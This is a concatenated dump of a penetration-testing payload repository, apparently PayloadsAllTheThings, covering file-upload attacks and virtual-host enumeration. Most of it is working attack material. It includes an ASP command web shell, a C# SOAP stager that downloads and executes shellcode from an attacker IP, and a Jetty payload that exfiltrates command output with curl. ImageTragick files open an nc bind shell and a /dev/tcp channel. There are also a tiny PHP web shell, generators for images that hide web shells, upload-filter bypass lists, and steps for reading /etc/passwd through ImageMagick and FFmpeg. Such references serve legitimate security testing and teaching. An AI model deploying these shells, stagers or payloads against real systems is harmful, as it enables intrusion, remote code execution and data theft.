"1.2.3.4" then
response.Status="404 Page Not Found"
response.Write(response.Status)
response.End
end if
if Request.Form("submit") <> "" then
Dim wshell, intReturn, strPResult
cmd = Request.Form("cmd")
Response.Write ("Running command: " & cmd & "
")
set wshell = CreateObject("WScript.Shell")
Set objCmd = wShell.Exec(cmd)
strPResult = objCmd.StdOut.Readall()
response.write "
" & replace(replace(strPResult,"<","<"),vbCrLf,"
") & "
"
set wshell = nothing
end if
%>
Laundanum ASP Shell
Copyright © 2012, Kevin Johnson and the Laudanum team.
Written by Tim Medin.
Get the latest version at laudanum.secureideas.net.
================================================
FILE: Upload Insecure Files/Extension ASP/shell.soap
================================================
<%@ WebService Language="C#" class="SoapStager"%>
using System;
using System.IO;
using System.Web;
using System.Web.Services;
using System.Net;
using System.Net.NetworkInformation;
using System.Net.Security;
// SRC: https://red.0xbad53c.com/red-team-operations/initial-access/webshells/iis-soap
// https://github.com/0xbad53c/webshells/tree/main/iis
[WebService(Namespace = "http://microsoft.com/" ,Description ="SOAP Stager Webshell" , Name ="SoapStager")]
[WebServiceBinding(ConformsTo = WsiProfiles.BasicProfile1_1)]
public class SoapStager : MarshalByRefObject
{
private static Int32 MEM_COMMIT=0x1000;
private static IntPtr PAGE_EXECUTE_READWRITE=(IntPtr)0x40;
[System.Runtime.InteropServices.DllImport("kernel32")]
private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr,UIntPtr size,Int32 flAllocationType,IntPtr flProtect);
[System.Runtime.InteropServices.DllImport("kernel32")]
private static extern IntPtr CreateThread(IntPtr lpThreadAttributes,UIntPtr dwStackSize,IntPtr lpStartAddress,IntPtr param,Int32 dwCreationFlags,ref IntPtr lpThreadId);
[System.ComponentModel.ToolboxItem(false)]
[WebMethod]
public string loadStage()
{
string Url = "http://10.90.255.52/beacon.bin"; //your IP and location of meterpreter or other raw shellcode
byte[] rzjUFlLZh;
IWebProxy defaultWebProxy = WebRequest.DefaultWebProxy;
defaultWebProxy.Credentials = CredentialCache.DefaultCredentials;
// in case of HTTPS
using (WebClient webClient = new WebClient() { Proxy = defaultWebProxy })
{
ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072;
ServicePointManager.ServerCertificateValidationCallback = new RemoteCertificateValidationCallback(delegate { return true; });
webClient.UseDefaultCredentials = true;
rzjUFlLZh = webClient.DownloadData(Url);
}
// Feel free to improve to PAGE_READWRITE & direct syscalls for more evasion
IntPtr fvYV5t = VirtualAlloc(IntPtr.Zero,(UIntPtr)rzjUFlLZh.Length,MEM_COMMIT, PAGE_EXECUTE_READWRITE);
System.Runtime.InteropServices.Marshal.Copy(rzjUFlLZh,0,fvYV5t,rzjUFlLZh.Length);
IntPtr owlqRoQI_ms = IntPtr.Zero;
IntPtr vnspR2 = CreateThread(IntPtr.Zero,UIntPtr.Zero,fvYV5t,IntPtr.Zero,0,ref owlqRoQI_ms);
return "finished";
}
}
================================================
FILE: Upload Insecure Files/Extension ASP/shell.xamlx
================================================
[System.Diagnostics.Process.Start("cmd.exe", "/c calc").toString()]
================================================
FILE: Upload Insecure Files/Extension HTML/xss.html
================================================
================================================
FILE: Upload Insecure Files/Extension PHP/extensions.lst
================================================
.jpeg.php
.jpg.php
.png.php
.php
.php3
.php4
.php5
.php7
.php8
.pht
.phar
.phpt
.pgif
.phtml
.phtm
.php%00.gif
.php\x00.gif
.php%00.png
.php\x00.png
.php%00.jpg
.php\x00.jpg
.inc
================================================
FILE: Upload Insecure Files/Extension PHP/php-script-tag.php
================================================
================================================
FILE: Upload Insecure Files/Extension PHP/phpinfo.jpg.php
================================================
================================================
FILE: Upload Insecure Files/Extension PHP/phpinfo.phar
================================================
================================================
FILE: Upload Insecure Files/Extension PHP/phpinfo.php
================================================
================================================
FILE: Upload Insecure Files/Extension PHP/phpinfo.php3
================================================
================================================
FILE: Upload Insecure Files/Extension PHP/phpinfo.php4
================================================
================================================
FILE: Upload Insecure Files/Extension PHP/phpinfo.php5
================================================
================================================
FILE: Upload Insecure Files/Extension PHP/phpinfo.php7
================================================
================================================
FILE: Upload Insecure Files/Extension PHP/phpinfo.php8
================================================
================================================
FILE: Upload Insecure Files/Extension PHP/phpinfo.phpt
================================================
================================================
FILE: Upload Insecure Files/Extension PHP/phpinfo.pht
================================================
================================================
FILE: Upload Insecure Files/Extension PHP/phpinfo.phtml
================================================
================================================
FILE: Upload Insecure Files/Extension PHP/shell.gif^shell.php
================================================
================================================
FILE: Upload Insecure Files/Extension PHP/shell.jpeg.php
================================================
================================================
FILE: Upload Insecure Files/Extension PHP/shell.jpg.php
================================================
================================================
FILE: Upload Insecure Files/Extension PHP/shell.jpg^shell.php
================================================
================================================
FILE: Upload Insecure Files/Extension PHP/shell.phar
================================================
================================================
FILE: Upload Insecure Files/Extension PHP/shell.php
================================================
================================================
FILE: Upload Insecure Files/Extension PHP/shell.php3
================================================
================================================
FILE: Upload Insecure Files/Extension PHP/shell.php4
================================================
================================================
FILE: Upload Insecure Files/Extension PHP/shell.php5
================================================
================================================
FILE: Upload Insecure Files/Extension PHP/shell.php7
================================================
================================================
FILE: Upload Insecure Files/Extension PHP/shell.phpt
================================================
--TEST--
echo - basic test for echo language construct
--FILE--
--EXPECT--
This works and takes args!
================================================
FILE: Upload Insecure Files/Extension PHP/shell.pht
================================================
================================================
FILE: Upload Insecure Files/Extension PHP/shell.phtml
================================================
================================================
FILE: Upload Insecure Files/Extension PHP/shell.png.php
================================================
================================================
FILE: Upload Insecure Files/Extension PHP/shell.png^shell.php
================================================
================================================
FILE: Upload Insecure Files/Extension PHP/tiny.php
================================================
=`$_GET[0]`?>
================================================
FILE: Upload Insecure Files/Jetty RCE/JettyShell.xml
================================================
- /bin/sh
- -c
- curl -F "r=`id`" http://yourServer:1337/
================================================
FILE: Upload Insecure Files/Picture Compression/createBulletproofJPG.py
================================================
#!/usr/bin/python
"""
Bulletproof Jpegs Generator
Copyright (C) 2012 Damien "virtualabs" Cauquil
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License along
with this program; if not, write to the Free Software Foundation, Inc.,
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-------------
# How to use
b.php?c=ls
Source: http://www.virtualabs.fr/Nasty-bulletproof-Jpegs-l
"""
from __future__ import print_function
from future import standard_library
standard_library.install_aliases()
from builtins import range
import struct,sys,os
import gd
from io import StringIO
from random import randint,shuffle
from time import time
# image width/height (square)
N = 32
def insertPayload(_in, _out, payload,off):
"""
Payload insertion (quick JPEG parsing and patching)
"""
img = _in
# look for 'FF DA' (SOS)
sos = img.index("\xFF\xDA")
sos_size = struct.unpack('>H',img[sos+2:sos+4])[0]
sod = sos_size+2
# look for 'FF D9' (EOI)
eoi = img[sod:].index("\xFF\xD9")
# enough size ?
if (eoi - sod - off)>=len(payload):
_out.write(img[:sod+sos+off]+payload+img[sod+sos+len(payload)+off:])
return True
else:
return False
if __name__=='__main__':
print("[+] Virtualabs' Nasty bulletproof Jpeg generator")
print(" | website: http://virtualabs.fr")
print(" | contact: virtualabs -at- gmail -dot- com")
print("")
payloads = ["","","",""]
# make sure the exploit-jpg directory exists or create it
if os.path.exists('exploit-jpg') and not os.path.isdir('exploit-jpg'):
print("[!] Please remove the file named 'exploit-jpg' from the current directory")
elif not os.path.exists('exploit-jpg'):
os.mkdir('exploit-jpg')
# start generation
print('[i] Generating ...')
for q in list(range(50,100))+[-1]:
# loop over every payload
for p in payloads:
# not done yet
done = False
start = time()
# loop while not done and timeout not reached
while not done and (time()-start)<10.0:
# we create a NxN pixels image, true colors
img = gd.image((N,N),True)
# we create a palette
pal = []
for i in range(N*N):
pal.append(img.colorAllocate((randint(0,256),randint(0,256),randint(0,256))))
# we shuffle this palette
shuffle(pal)
# and fill the image with it
pidx = 0
for x in range(N):
for y in range(N):
img.setPixel((x,y),pal[pidx])
pidx+=1
# write down the image
out_jpg = StringIO('')
img.writeJpeg(out_jpg,q)
out_raw = out_jpg.getvalue()
# now, we try to insert the payload various ways
for i in range(64):
test_jpg = StringIO('')
if insertPayload(out_raw,test_jpg,p,i):
try:
# write down the new jpeg file
f = open('exploit-jpg/exploit-%d.jpg'%q,'wb')
f.write(test_jpg.getvalue())
f.close()
# load it with GD
test = gd.image('exploit-jpg/exploit-%d.jpg'%q)
final_jpg = StringIO('')
test.writeJpeg(final_jpg,q)
final_raw = final_jpg.getvalue()
# does it contain our payload ?
if p in final_raw:
# Yay !
print('[i] Jpeg quality %d ... DONE'%q)
done = True
break
except IOError as e:
pass
else:
break
if not done:
# payload not found, we remove the file
os.unlink('exploit-jpg/exploit-%d.jpg'%q)
else:
break
================================================
FILE: Upload Insecure Files/Picture Compression/createCompressedPNG_110x110.php
================================================
header('Content-Type: image/png');
$p = array(0xA3, 0x9F, 0x67, 0xF7, 0x0E, 0x93, 0x1B, 0x23, 0xBE, 0x2C, 0x8A, 0xD0, 0x80, 0xF9, 0xE1, 0xAE, 0x22, 0xF6, 0xD9, 0x43, 0x5D, 0xFB, 0xAE, 0xCC, 0x5A, 0x01, 0xDC, 0xAA, 0x52, 0xD0, 0xB6, 0xEE, 0xBB, 0x3A, 0xCF, 0x93, 0xCE, 0xD2, 0x88, 0xFC, 0x69, 0xD0, 0x2B, 0xB9, 0xB0, 0xFB, 0xBB, 0x79, 0xFC, 0xED, 0x22, 0x38, 0x49, 0xD3, 0x51, 0xB7, 0x3F, 0x02, 0xC2, 0x20, 0xD8, 0xD9, 0x3C, 0x67, 0xF4, 0x50, 0x67, 0xF4, 0x50, 0xA3, 0x9F, 0x67, 0xA5, 0xBE, 0x5F, 0x76, 0x74, 0x5A, 0x4C, 0xA1, 0x3F, 0x7A, 0xBF, 0x30, 0x6B, 0x88, 0x2D, 0x60, 0x65, 0x7D, 0x52, 0x9D, 0xAD, 0x88, 0xA1, 0x66, 0x94, 0xA1, 0x27, 0x56, 0xEC, 0xFE, 0xAF, 0x57, 0x57, 0xEB, 0x2E, 0x20, 0xA3, 0xAE, 0x58, 0x80, 0xA7, 0x0C, 0x10, 0x55, 0xCF, 0x09, 0x5C, 0x10, 0x40, 0x8A, 0xB9, 0x39, 0xB3, 0xC8, 0xCD, 0x64, 0x45, 0x3C, 0x49, 0x3E, 0xAD, 0x3F, 0x33, 0x56, 0x1F, 0x19 );
$img = imagecreatetruecolor(110, 110);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3)*2, 0, $color);
imagesetpixel($img, round($y / 3)*2+1, 0, $color);
imagesetpixel($img, round($y / 3)*2, 1, $color);
imagesetpixel($img, round($y / 3)*2+1, 1, $color);
}
imagepng($img);
?>
================================================
FILE: Upload Insecure Files/Picture Compression/createGIFwithGlobalColorTable.php
================================================
";
$_width=200;
$_height=200;
if(strlen($_payload)%3!=0){
echo "payload%3==0 !"; exit();
}
$im = imagecreate($_width, $_height);
$_hex=unpack('H*',$_payload);
$colors_hex=str_split($_hex[1], 6);
for($i=0; $i < count($colors_hex); $i++){
$_color_chunks=str_split($colors_hex[$i], 2);
$color=imagecolorallocate($im,hexdec($_color_chunks[0]),hexdec($_color_chunks[1]),hexdec($_color_chunks[2]));
imagesetpixel($im,$i,1,$color);
}
imagegif($im,$_file);
?>
================================================
FILE: Upload Insecure Files/Picture Compression/createPNGwithPLTE.php
================================================
";
$_pay_len=strlen($_payload);
if(strlen($_payload)%3!=0){
echo "payload%3==0 !"; exit();
}
$width=$_pay_len/3;
$height=20;
//$im = imageCreateFromPng("existing.png");
$im = imagecreate($width, $height);
$_hex=unpack('H*',$_payload);
$_chunks=str_split($_hex[1], 6);
for($i=0; $i < count($_chunks); $i++){
$_color_chunks=str_split($_chunks[$i], 2);
$color=imagecolorallocate($im,hexdec($_color_chunks[0]),hexdec($_color_chunks[1]),hexdec($_color_chunks[2]));
imagesetpixel($im,$i,1,$color);
}
imagepng($im,"example.png");
================================================
FILE: Upload Insecure Files/Picture ImageMagick/imagetragik1_payload_url_bind_shell_nc.mvg
================================================
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|nc -l -p 7777 -e"/bin/sh)'
pop graphic-context
================================================
FILE: Upload Insecure Files/Picture ImageMagick/imagetragik1_payload_url_remote_connection.mvg
================================================
push graphic-context
viewbox 0 0 640 480
fill 'url(http://IP_ATTAQUANT/)'
pop graphic-context
================================================
FILE: Upload Insecure Files/Picture ImageMagick/imagetragik1_payload_url_reverse_shell_bash.mvg
================================================
push graphic-context
viewbox 0 0 640 480
fill 'url(https://IP_ATTAQUANT"||/bin/bash -c "ls > /dev/tcp/IP_ATTAQUANT/80)'
pop graphic-context
================================================
FILE: Upload Insecure Files/Picture ImageMagick/imagetragik1_payload_xml_reverse_shell_nctraditional.xml
================================================
================================================
FILE: Upload Insecure Files/Picture ImageMagick/imagetragik1_payload_xml_reverse_shell_netcat_encoded.xml
================================================
================================================
FILE: Upload Insecure Files/Picture Metadata/Build_image_to_LFI.py
================================================
from __future__ import print_function
from PIL import Image
# Shellcodes - Bypass included : Keyword Recognition : System, GET, php
# --- How to use : http://localhost/shell.php?c=echo%20'';ls
#shellcode = "=@`$_GET[c]`;"
shellcode = ""
# --- How to use : http://localhost/shell.php?_=system&__=echo%20'';ls
shellcode2 = "='Sh3ll'; $_='{';$_=($_^'<').($_^'>;').($_^'/');?>=${'_'.$_}['_'](${'_'.$_}['__']);?>"
print("\n[+] Advanced Upload - Shell inside metadatas of a PNG file")
# Create a backdoored PNG
print(" - Creating a payload.png")
im = Image.new("RGB", (10,10), "Black")
im.info["shell"] = shellcode
reserved = ('interlace', 'gamma', 'dpi', 'transparency', 'aspect')
# undocumented class
from PIL import PngImagePlugin
meta = PngImagePlugin.PngInfo()
# copy metadata into new object
for k,v in im.info.items():
if k in reserved: continue
meta.add_text(k, v, 0)
im.save("payload.png", "PNG", pnginfo=meta)
print("Done")
================================================
FILE: Upload Insecure Files/README.md
================================================
# Upload Insecure Files
> Uploaded files may pose a significant risk if not handled correctly. A remote attacker could send a multipart/form-data POST request with a specially-crafted filename or mime type and execute arbitrary code.
## Summary
* [Tools](#tools)
* [Methodology](#methodology)
* [Defaults Extensions](#defaults-extensions)
* [Upload Tricks](#upload-tricks)
* [Filename Vulnerabilities](#filename-vulnerabilities)
* [Picture Compression](#picture-compression)
* [Picture Metadata](#picture-metadata)
* [Configuration Files](#configuration-files)
* [CVE - ImageMagick](#cve---imagemagick)
* [CVE - FFMpeg HLS](#cve---ffmpeg-hls)
* [Labs](#labs)
* [References](#references)
## Tools
* [almandin/fuxploiderFuxploider](https://github.com/almandin/fuxploider) - File upload vulnerability scanner and exploitation tool.
* [Burp/Upload Scanner](https://portswigger.net/bappstore/b2244cbb6953442cb3c82fa0a0d908fa) - HTTP file upload scanner for Burp Proxy.
* [ZAP/FileUpload](https://www.zaproxy.org/blog/2021-08-20-zap-fileupload-addon/) - OWASP ZAP add-on for finding vulnerabilities in File Upload functionality.
## Methodology

### Defaults Extensions
Here is a list of the default extensions for web shell pages in the selected languages (PHP, ASP, JSP).
* PHP Server
```powershell
.php
.php3
.php4
.php5
.php7
# Less known PHP extensions
.pht
.phps
.phar
.phpt
.pgif
.phtml
.phtm
.inc
```
* ASP Server
```powershell
.asp
.aspx
.config
.cer # (IIS <= 7.5)
.asa # (IIS <= 7.5)
shell.aspx;1.jpg # (IIS < 7.0)
shell.soap
```
* JSP : `.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .actions`
* Perl: `.pl, .pm, .cgi, .lib`
* Coldfusion: `.cfm, .cfml, .cfc, .dbm`
* Node.js: `.js, .json, .node`
Other extensions that can be abused to trigger other vulnerabilities.
* `.svg`: XXE, XSS, SSRF
* `.gif`: XSS
* `.csv`: CSV Injection
* `.xml`: XXE
* `.avi`: LFI, SSRF
* `.js` : XSS, Open Redirect
* `.zip`: RCE, DOS, LFI Gadget
* `.html` : XSS, Open Redirect
### Upload Tricks
**Extensions**:
* Use double extensions : `.jpg.php, .png.php5`
* Use reverse double extension (useful to exploit Apache misconfigurations where anything with extension .php, but not necessarily ending in .php will execute code): `.php.jpg`
* Random uppercase and lowercase : `.pHp, .pHP5, .PhAr`
* Null byte (works well against `pathinfo()`)
* `.php%00.gif`
* `.php\x00.gif`
* `.php%00.png`
* `.php\x00.png`
* `.php%00.jpg`
* `.php\x00.jpg`
* Special characters
* Multiple dots : `file.php......` , on Windows when a file is created with dots at the end those will be removed.
* Whitespace and new line characters
* `file.php%20`
* `file.php%0d%0a.jpg`
* `file.php%0a`
* Right to Left Override (RTLO): `name.%E2%80%AEphp.jpg` will became `name.gpj.php`.
* Slash: `file.php/`, `file.php.\`, `file.j\sp`, `file.j/sp`
* Multiple special characters: `file.jsp/././././.`
* UTF8 filename: `Content-Disposition: form-data; name="anyBodyParam"; filename*=UTF8''myfile%0a.txt`
* On Windows OS, `include`, `require` and `require_once` functions will convert "foo.php" followed by one or more of the chars `\x20` ( ), `\x22` ("), `\x2E` (.), `\x3C` (<), `\x3E` (>) back to "foo.php".
* On Windows OS, `fopen` function will convert "foo.php" followed by one or more of the chars `\x2E` (.), `\x2F` (/), `\x5C` (\) back to "foo.php".
* On Windows OS, `move_uploaded_file` function will convert "foo.php" followed by one or more of the chars `\x2E` (.), `\x2F` (/), `\x5C` (\) back to "foo.php".
* On Windows OS, when running PHP on IIS some characters are automatically converted to other characters when it is going to save a file (e.g. `web<<` becomes `web**` and can replace `web.config`).
* `\x3E` (>) is converted to `\x3F` (?)
* `\x3C` (<) is converted to `\x2A` (*)
* `\x22` (") is converted to `\x2E` (.), to use this trick in a file upload request the "`Content-Disposition`" header should use single quotes (e.g. filename='web"config').
**File Identification**:
MIME type, a MIME type (Multipurpose Internet Mail Extensions type) is a standardized identifier that tells browsers, servers, and applications what kind of file or data is being handled. It consists of a type and a subtype, separated by a slash. Change `Content-Type : application/x-php` or `Content-Type : application/octet-stream` to `Content-Type : image/gif` to disguise the content as an image.
* Common images content-types:
```cs
Content-Type: image/gif
Content-Type: image/png
Content-Type: image/jpeg
```
* Content-Type wordlist: [SecLists/web-all-content-types.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/web-all-content-types.txt)
```cs
text/php
text/x-php
application/php
application/x-php
application/x-httpd-php
application/x-httpd-php-source
```
* Set the `Content-Type` twice, once for unallowed type and once for allowed.
[Magic Bytes](https://en.wikipedia.org/wiki/List_of_file_signatures) - Sometimes applications identify file types based on their first signature bytes. Adding/replacing them in a file might trick the application.
* PNG: `\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03[`
* JPG: `\xff\xd8\xff`
* GIF: `GIF87a` OR `GIF8;`
**File Encapsulation**:
Using NTFS alternate data stream (ADS) in Windows.
In this case, a colon character ":" will be inserted after a forbidden extension and before a permitted one. As a result, an empty file with the forbidden extension will be created on the server (e.g. "`file.asax:.jpg`"). This file might be edited later using other techniques such as using its short filename. The "::$data" pattern can also be used to create non-empty files. Therefore, adding a dot character after this pattern might also be useful to bypass further restrictions (.e.g. "`file.asp::$data.`")
**Other Techniques**:
PHP web shells don't always have the ``
```html
```
* The `=` is shorthand syntax in PHP for outputting values. It is equivalent to using `
```
### Filename Vulnerabilities
Sometimes the vulnerability is not the upload but how the file is handled after. You might want to upload files with payloads in the filename.
* Time-Based SQLi Payloads: e.g. `poc.js'(select*from(select(sleep(20)))a)+'.extension`
* LFI/Path Traversal Payloads: e.g. `image.png../../../../../../../etc/passwd`
* XSS Payloads e.g. `'">
.extension`
* File Traversal e.g. `../../../tmp/lol.png`
* Command Injection e.g. `; sleep 10;`
Also you upload:
* HTML/SVG files to trigger an XSS
* EICAR file to check the presence of an antivirus
### Picture Compression
Create valid pictures hosting PHP code. Upload the picture and use a **Local File Inclusion** to execute the code. The shell can be called with the following command : `curl 'http://localhost/test.php?0=system' --data "1='ls'"`.
* Picture Metadata, hide the payload inside a comment tag in the metadata.
* Picture Resize, hide the payload within the compression algorithm in order to bypass a resize. Also defeating `getimagesize()` and `imagecreatefromgif()`.
* [JPG](https://virtualabs.fr/Nasty-bulletproof-Jpegs-l): use createBulletproofJPG.py
* [PNG](https://blog.isec.pl/injection-points-in-popular-image-formats/): use createPNGwithPLTE.php
* [GIF](https://blog.isec.pl/injection-points-in-popular-image-formats/): use createGIFwithGlobalColorTable.php
### Picture Metadata
Create a custom picture and insert exif tag with `exiftool`. A list of multiple exif tags can be found at [exiv2.org](https://exiv2.org/tags.html)
```ps1
convert -size 110x110 xc:white payload.jpg
exiftool -Copyright="PayloadsAllTheThings" -Artist="Pentest" -ImageUniqueID="Example" payload.jpg
exiftool -Comment="& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
```
* ImageTragik - example #3
```powershell
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id) currentdevice putdeviceprops
```
The vulnerability can be triggered by using the `convert` command.
```ps1
convert shellexec.jpeg whatever.gif
```
#### CVE-2022-44268
CVE-2022-44268 is an information disclosure vulnerability identified in ImageMagick. An attacker can exploit this by crafting a malicious image file that, when processed by ImageMagick, can disclose information from the local filesystem of the server running the vulnerable version of the software.
* Generate the payload
```ps1
apt-get install pngcrush imagemagick exiftool exiv2 -y
pngcrush -text a "profile" "/etc/passwd" exploit.png
```
* Trigger the exploit by uploading the file. The backend might use something like `convert pngout.png pngconverted.png`
* Download the converted picture and inspect its content with: `identify -verbose pngconverted.png`
* Convert the exfiltrated data: `python3 -c 'print(bytes.fromhex("HEX_FROM_FILE").decode("utf-8"))'`
More payloads in the folder `Picture ImageMagick/`.
### CVE - FFMpeg HLS
FFmpeg is an open source software used for processing audio and video formats. You can use a malicious HLS playlist inside an AVI video to read arbitrary files.
1. `./gen_xbin_avi.py file:// file_read.avi`
2. Upload `file_read.avi` to some website that processes videofiles
3. On server side, done by the videoservice: `ffmpeg -i file_read.avi output.mp4`
4. Click "Play" in the videoservice.
5. If you are lucky, you'll the content of `` from the server.
The script creates an AVI that contains an HLS playlist inside GAB2. The playlist generated by this script looks like this:
```ps1
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:1.0
GOD.txt
#EXTINF:1.0
/etc/passwd
#EXT-X-ENDLIST
```
More payloads in the folder `CVE FFmpeg HLS/`.
## Labs
* [PortSwigger - Labs on File Uploads](https://portswigger.net/web-security/all-labs#file-upload-vulnerabilities)
* [Root Me - File upload - Double extensions](https://www.root-me.org/en/Challenges/Web-Server/File-upload-Double-extensions)
* [Root Me - File upload - MIME type](https://www.root-me.org/en/Challenges/Web-Server/File-upload-MIME-type)
* [Root Me - File upload - Null byte](https://www.root-me.org/en/Challenges/Web-Server/File-upload-Null-byte)
* [Root Me - File upload - ZIP](https://www.root-me.org/en/Challenges/Web-Server/File-upload-ZIP)
* [Root Me - File upload - Polyglot](https://www.root-me.org/en/Challenges/Web-Server/File-upload-Polyglot)
## References
* [A New Vector For “Dirty” Arbitrary File Write to RCE - Doyensec - Maxence Schmitt and Lorenzo Stella - 28 Feb 2023](https://web.archive.org/web/20230228140105/https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)
* [Arbitrary File Upload Tricks In Java - pyn3rd - 2022-05-07](https://web.archive.org/web/20220601101409/https://pyn3rd.github.io/2022/05/07/Arbitrary-File-Upload-Tricks-In-Java/)
* [Attacking Webservers Via .htaccess - Eldar Marcussen - May 17, 2011](https://web.archive.org/web/20200203171034/https://www.justanotherhacker.com:80/2011/05/htaccess-based-attacks.html)
* [BookFresh Tricky File Upload Bypass to RCE - Ahmed Aboul-Ela - November 29, 2014](http://web.archive.org/web/20141231210005/https://secgeek.net/bookfresh-vulnerability/)
* [Bulletproof Jpegs Generator - Damien Cauquil (@virtualabs) - April 9, 2012](https://web.archive.org/web/20130606125954/http://www.virtualabs.fr/Nasty-bulletproof-Jpegs-l)
* [Encoding Web Shells in PNG IDAT chunks - phil - 04-06-2012](https://web.archive.org/web/20120610205435/http://www.idontplaydarts.com:80/2012/06/encoding-web-shells-in-png-idat-chunks)
* [File Upload - HackTricks - 20/7/2024](https://web.archive.org/web/20241230150546/https://book.hacktricks.xyz/pentesting-web/file-upload)
* [File Upload and PHP on IIS: >=? and <=* and "=. - Soroush Dalili (@irsdl) - July 23, 2014](https://web.archive.org/web/20231003035528/https://soroush.me/blog/2014/07/file-upload-and-php-on-iis-wildcards/)
* [File Upload restrictions bypass - Haboob Team - July 24, 2018](https://web.archive.org/web/20180724174319/https://www.exploit-db.com/docs/english/45074-file-upload-restrictions-bypass.pdf)
* [IIS - SOAP - Navigating The Shadows - 0xbad53c - 19/5/2024](https://web.archive.org/web/20220404084558/https://red.0xbad53c.com/red-team-operations/initial-access/webshells/iis-soap)
* [Injection points in popular image formats - Daniel Kalinowski - Nov 8, 2019](https://web.archive.org/web/20191130061135/https://blog.isec.pl/injection-points-in-popular-image-formats/)
* [Insomnihack Teaser 2019 / l33t-hoster - Ian Bouchard (@Corb3nik) - January 20, 2019](https://web.archive.org/web/20190125123231/http://corb3nik.github.io:80/blog/insomnihack-teaser-2019/l33t-hoster)
* [Inyección de código en imágenes subidas y tratadas con PHP-GD - hackplayers - March 22, 2020](https://web.archive.org/web/20260219153035/https://www.hackplayers.com/2020/03/inyeccion-de-codigo-en-imagenes-php-gd.html)
* [La PNG qui se prenait pour du PHP - Philippe Paget (@PagetPhil) - February, 23 2014](https://web.archive.org/web/20140416083530/http://phil242.wordpress.com/2014/02/23/la-png-qui-se-prenait-pour-du-php/)
* [More Ghostscript Issues: Should we disable PS coders in policy.xml by default? - Tavis Ormandy - 21 Aug 2018](https://web.archive.org/web/20180821130209/http://openwall.com/lists/oss-security/2018/08/21/2)
* [PHDays - Attacks on video converters:a year later - Emil Lerner, Pavel Cheremushkin - December 20, 2017](https://docs.google.com/presentation/d/1yqWy_aE3dQNXAhW8kxMxRqtP7qMHaIfMzUDpEqFneos/edit#slide=id.p)
* [Protection from Unrestricted File Upload Vulnerability - Narendra Shinde - October 22, 2015](https://web.archive.org/web/20200812181326/https://blog.qualys.com/securitylabs/2015/10/22/unrestricted-file-upload-vulnerability)
* [The .phpt File Structure - PHP Internals Book - October 18, 2017](https://web.archive.org/web/20260218185252/https://www.phpinternalsbook.com/tests/phpt_file_structure.html)
================================================
FILE: Upload Insecure Files/Server Side Include/exec.shtml
================================================
================================================
FILE: Upload Insecure Files/Server Side Include/include.shtml
================================================
================================================
FILE: Upload Insecure Files/Server Side Include/index.stm
================================================
================================================
FILE: Virtual Hosts/README.md
================================================
# Virtual Host
> A **Virtual Host** (VHOST) is a mechanism used by web servers (e.g., Apache, Nginx, IIS) to host multiple domains or subdomains on a single IP address. When enumerating a webserver, default requests often target the primary or default VHOST only. **Hidden hosts** may expose extra functionality or vulnerabilities.
## Summary
* [Tools](#tools)
* [Methodology](#methodology)
* [References](#references)
## Tools
* [wdahlenburg/VhostFinder](https://github.com/wdahlenburg/VhostFinder) - Identify virtual hosts by similarity comparison.
* [codingo/VHostScan](https://github.com/codingo/VHostScan) - A virtual host scanner that can be used with pivot tools, detect catch-all scenarios, aliases and dynamic default pages.
* [hakluke/hakoriginfinder](https://github.com/hakluke/hakoriginfinder) - Tool for discovering the origin host behind a reverse proxy. Useful for bypassing cloud WAFs.
```ps1
prips 93.184.216.0/24 | hakoriginfinder -h https://example.com:443/foo
```
* [OJ/gobuster](https://github.com/OJ/gobuster) - Directory/File, DNS and VHost busting tool written in Go.
```ps1
gobuster vhost -u https://example.com -w /path/to/wordlist.txt
```
## Methodology
When a web server hosts multiple websites on the same IP address, it uses **Virtual Hosting** to decide which site to serve when a request comes in.
In HTTP/1.1 and above, every request must contain a `Host` header:
```http
GET / HTTP/1.1
Host: example.com
```
This header tells the server which domain the client is trying to reach.
* If the server only has one site: The `Host` header is often ignored or set to a default.
* If the server has multiple virtual hosts: The web server uses the `Host` header to route the request internally to the right content.
Suppose the server is configured like:
```ps1
ServerName site-a.com
DocumentRoot /var/www/a
ServerName site-b.com
DocumentRoot /var/www/b
```
A request with the default host ("site-a.com") returns the content for Site A.
```http
GET / HTTP/1.1
Host: site-a.com
```
A request with an altered host ("site-b.com") returns content for Site B (possibly revealing something new).
```http
GET / HTTP/1.1
Host: site-b.com
```
### Fingerprinting VHOSTs
Setting `Host` to other known or guessed domains may give **different responses**.
```ps1
curl -H "Host: admin.example.com" http://10.10.10.10/
```
Common indicators that you're hitting a different VHOST:
* Different HTML titles, meta descriptions, or brand names
* Different HTTP Content-Length / body size
* Different status codes (200 vs. 403 or redirect)
* Custom error pages
* Redirect chains to completely different domains
* Certificates with Subject Alternative Names listing other domains
**NOTE**: Leverage DNS history records to identify old IP addresses previously associated with your target’s domains. Then test (or "spray") the current domain names against those IPs. If successful, this can reveal the server’s real address, allowing you to bypass protections like Cloudflare or other WAFs by interacting directly with the origin server.
## References
* [Gobuster for directory, DNS and virtual hosts bruteforcing - erev0s - March 17, 2020](https://web.archive.org/web/20200925023215/https://erev0s.com/blog/gobuster-directory-dns-and-virtual-hosts-bruteforcing/)
* [Virtual Hosting – A Well Forgotten Enumeration Technique - Wyatt Dahlenburg - June 16, 2022](https://web.archive.org/web/20220616183823/https://wya.pl/2022/06/16/virtual-hosting-a-well-forgotten-enumeration-technique/)
================================================
